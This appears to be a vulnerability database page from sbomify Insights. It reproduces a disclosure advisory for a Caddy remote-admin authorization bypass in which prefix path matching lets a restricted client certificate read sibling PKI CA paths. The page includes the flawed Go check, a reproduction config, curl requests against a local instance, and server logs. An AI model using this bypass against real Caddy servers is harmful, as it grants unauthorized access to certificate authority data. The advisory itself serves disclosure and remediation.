# GHSA-gx7w-56w6-g48x: Caddy: Remote Admin Authorization Bypass on PKI Endpoints via Prefix-Based Path Matching

> Attackers with limited admin certificates can bypass path restrictions to access unauthorized PKI resources due to flawed prefix matching.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Any signed-in user
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** Yes
- **Published:** 19 May 2026
- **Also known as:** GO-2026-5408

## What is GHSA-gx7w-56w6-g48x?

GHSA-gx7w-56w6-g48x is an authentication bypass vulnerability in github.com/caddyserver/caddy/v2, published on 19 May 2026. Any signed-in user can exploit it over the network, with no action from the victim.

### Official description

## AI Disclosure

  I used an LLM to help review the source code, reason about attack surface, and help draft and refine this report.
  I manually validated the finding by reproducing it locally, confirming the vulnerable code path, and verifying the HTTP behavior with `curl -v`.

  ## Summary

  Caddy's remote admin access control performs path authorization using prefix matching:

  - [`admin.go`](/caddy/admin.go#L719): `strings.HasPrefix(r.URL.Path, allowedPath)`

  This allows a client certificate authorized only for `/pki/ca/prod` to access sibling PKI resources whose paths merely share the same prefix, such as `/pki/ca/prod-backup`.

  This is an authorization bug in Caddy's source code, not a misconfiguration issue. The configured policy is more restrictive than the behavior that Caddy actually enforces.

  ## Affected Component

  Remote admin access control for PKI admin endpoints.

  Relevant code:

  - [`admin.go`](/caddy/admin.go#L687)
  - [`admin.go`](/caddy/admin.go#L719)
  - [`modules/caddypki/adminapi.go`](/caddy/modules/caddypki/adminapi.go#L68)
  - [`modules/caddypki/adminapi.go`](/caddy/modules/caddypki/adminapi.go#L164)

  ## Root Cause

  In `RemoteAdmin.enforceAccessControls()`, allowed paths are checked like this:

  ```go
  for _, allowedPath := range accessPerm.Paths {
  	if strings.HasPrefix(r.URL.Path, allowedPath) {
  		pathFound = true
  		break
  	}
  }
```

  This does not enforce a path-segment boundary.

  So if the allowed path is:

  /pki/ca/prod

  then all of the following are treated as authorized:

  - /pki/ca/prod-backup
  - /pki/ca/prod1
  - /pki/ca/prodanything

  For PKI admin endpoints, the CA ID is taken directly from the request path:

  - modules/caddypki/adminapi.go:164

  So /pki/ca/prod-backup is interpreted as CA ID prod-backup, even though only /pki/ca/prod was intended to be allowed.

  ## Security Impact

  A remote admin client certificate restricted to one PKI CA path can access other CA resources with the same prefix.

  This breaks least-privilege remote admin policies and results in authenticated authorization bypass.

  ## Minimal Configuration

  File: repro.json
```
  {
    "admin": {
      "listen": "127.0.0.1:2019",
      "identity": {
        "identifiers": ["localhost"],
        "issuers": [
          { "module": "internal" }
        ]
      },
      "remote": {
        "listen": "127.0.0.1:2021",
        "access_control": [
          {
            "public_keys": ["<CLIENT_CERT_BASE64_DER>"],
            "permissions": [
              {
                "methods": ["GET"],
                "paths": ["/pki/ca/prod"]
              }
            ]
          }
        ]
      }
    },
    "apps": {
      "pki": {
        "certificate_authorities": {
          "prod": {
            "name": "prod"
          },
          "prod-backup": {
            "name": "prod-backup"
          }
        }
      }
    }
  }

```
  ## Reproduction Steps From Scratch

  ### 1. Generate a client certificate
```
  openssl req -x509 -newkey rsa:2048 -nodes -days 365 \
    -subj '/CN=remote-admin-client' \
    -keyout client.key \
    -out client.crt

```

  ### 2. Convert the client certificate to base64 DER

  CLIENT_CERT_B64="$(openssl x509 -in client.crt -outform der | base64 | tr -d '\n')"

  ### 3. Put that value into repro.json

  Replace:

  <CLIENT_CERT_BASE64_DER>

  with the value of CLIENT_CERT_B64.

  ### 4. Run Caddy

  go run ./cmd/caddy run --config ./repro.json

  ### 5. Confirm access to the intended allowed path
```
  curl -vk \
    --resolve localhost:2021:127.0.0.1 \
    --cert ./client.crt \
    --key ./client.key \
    https://localhost:2021/pki/ca/prod
```
  Expected result:

  - HTTP/1.1 200 OK

  ### 6. Request a different CA whose path shares the same prefix
```
  curl -vk \
    --resolve localhost:2021:127.0.0.1 \
    --cert ./client.crt \
    --key ./client.key \
    https://localhost:2021/pki/ca/prod-backup
```
  Expected secure behavior:

  - HTTP/1.1 403 Forbidden

  Actual behavior:

  - HTTP/1.1 200 OK

  ## Precise HTTP Requests and Output

  ### Allowed path
```
  curl -vk \
    --resolve localhost:2021:127.0.0.1 \
    --cert ./client.crt \
    --key ./client.key \
    https://localhost:2021/pki/ca/prod
```
  Response excerpt:
```
  > GET /pki/ca/prod HTTP/1.1
  > Host: localhost:2021
  > User-Agent: curl/8.5.0
  > Accept: */*
  >
  < HTTP/1.1 200 OK
  < Content-Type: application/json
```
  ### Unauthorized sibling path that is incorrectly allowed
```
  curl -vk \
    --resolve localhost:2021:127.0.0.1 \
    --cert ./client.crt \
    --key ./client.key \
    https://localhost:2021/pki/ca/prod-backup
```
  Response excerpt:
```
  > GET /pki/ca/prod-backup HTTP/1.1
  > Host: localhost:2021
  > User-Agent: curl/8.5.0
  > Accept: */*
  >
  < HTTP/1.1 200 OK
  < Content-Type: application/json
```
  The body returned CA information for prod-backup, despite the configured permission only allowing /pki/ca/prod.

  ## Full Log Output

sever :
```
root@dbdd95a60758:/caddy# go run ./cmd/caddy run --config /caddy/repro.json
2026/03/19 13:58:13.747	INFO	maxprocs: Leaving GOMAXPROCS=16: CPU quota undefined
2026/03/19 13:58:13.747	INFO	GOMEMLIMIT is updated	{"GOMEMLIMIT": 26273105510, "previous": 9223372036854775807}
2026/03/19 13:58:13.747	INFO	using config from file	{"file": "/caddy/repro.json"}
2026/03/19 13:58:13.757	INFO	admin	admin endpoint started	{"address": "127.0.0.1:2019", "enforce_origin": false, "origins": ["//localhost:2019", "//[::1]:2019", "//127.0.0.1:2019"]}
2026/03/19 13:58:13.757	WARN	pki.ca.prod	installing root certificate (you might be prompted for password)	{"path": "storage:pki/authorities/prod/root.crt"}
2026/03/19 13:58:13.757	INFO	warning: "certutil" is not available, install "certutil" with "apt install libnss3-tools" or "yum install nss-tools" and try again
2026/03/19 13:58:13.757	INFO	define JAVA_HOME environment variable to use the Java trust
2026/03/19 13:58:14.406	INFO	certificate installed properly in linux trusts
2026/03/19 13:58:14.406	WARN	pki.ca.prod-backup	installing root certificate (you might be prompted for password)	{"path": "storage:pki/authorities/prod-backup/root.crt"}
2026/03/19 13:58:14.407	INFO	warning: "certutil" is not available, install "certutil" with "apt install libnss3-tools" or "yum install nss-tools" and try again
2026/03/19 13:58:14.407	INFO	define JAVA_HOME environment variable to use the Java trust
2026/03/19 13:58:15.038	INFO	certificate installed properly in linux trusts
2026/03/19 13:58:15.045	INFO	admin.identity.cache.maintenance	started background certificate maintenance	{"cache": "0xc0006a4480"}
2026/03/19 13:58:15.046	INFO	admin.remote	secure admin remote control endpoint started	{"address": "127.0.0.1:2021"}
2026/03/19 13:58:15.046	INFO	admin.identity.obtain	acquiring lock	{"identifier": "localhost"}
2026/03/19 13:58:15.046	INFO	autosaved config (load with --resume flag)	{"file": "/root/.config/caddy/autosave.json"}
2026/03/19 13:58:15.046	INFO	serving initial configuration
2026/03/19 13:58:15.047	INFO	admin.identity.obtain	lock acquired	{"identifier": "localhost"}
2026/03/19 13:58:15.047	INFO	admin.identity.obtain	obtaining certificate	{"identifier": "localhost"}
2026/03/19 13:58:15.049	INFO	admin.identity.obtain	certificate obtained successfully	{"identifier": "localhost", "issuer": "local"}
2026/03/19 13:58:15.049	INFO	admin.identity.obtain	releasing lock	{"identifier": "localhost"}
2026/03/19 13:58:15.050	WARN	admin.identity	stapling OCSP	{"identifiers": ["localhost"]}
2026/03/19 13:59:36.896	INFO	admin.api	received request	{"method": "GET", "host": "localhost:2021", "uri": "/pki/ca/prod", "remote_ip": "127.0.0.1", "remote_port": "40728", "headers": {"Accept":["*/*"],"User-Agent":["curl/8.5.0"]}, "secure": true, "verified_chains": 1}
2026/03/19 14:00:24.102	INFO	admin.api	received request	{"method": "GET", "host": "localhost:2021", "uri": "/pki/ca/prod-backup", "remote_ip": "127.0.0.1", "remote_port": "60490", "headers"

## Which versions are affected by GHSA-gx7w-56w6-g48x?

3 open source packages ship an affected version, including github.com/caddyserver/caddy/v2.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `github.com/caddyserver/caddy/v2` | Go | All versions | 2.11.3 |
| `github.com/caddyserver/caddy/v2` | Go | All versions | 2.11.3 |
| `github.com/caddyserver/caddy/v2` | Go | All versions | 2.11.3 |

## How do I fix GHSA-gx7w-56w6-g48x?

Upgrade github.com/caddyserver/caddy/v2 to 2.11.3 or later.

## Is GHSA-gx7w-56w6-g48x being exploited?

There is no known exploitation of GHSA-gx7w-56w6-g48x in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-gx7w-56w6-g48x and fix it if it is affected.

What it is: GHSA-gx7w-56w6-g48x is an authentication bypass vulnerability in github.com/caddyserver/caddy/v2, published on 19 May 2026. Any signed-in user can exploit it over the network, with no action from the victim.
Exploitation: There is no known exploitation of GHSA-gx7w-56w6-g48x in the wild and no public exploit code.

Affected packages and fixed versions:
- github.com/caddyserver/caddy/v2 (Go): affected all versions; fixed in 2.11.3
- github.com/caddyserver/caddy/v2 (Go): affected all versions; fixed in 2.11.3
- github.com/caddyserver/caddy/v2 (Go): affected all versions; fixed in 2.11.3

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-gx7w-56w6-g48x/ (Markdown: https://insights.sbomify.com/GHSA-gx7w-56w6-g48x/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-gx7w-56w6-g48x

---
From sbomify Insights: https://insights.sbomify.com/GHSA-gx7w-56w6-g48x/
Summaries are generated and may contain mistakes; the official description above is the record.
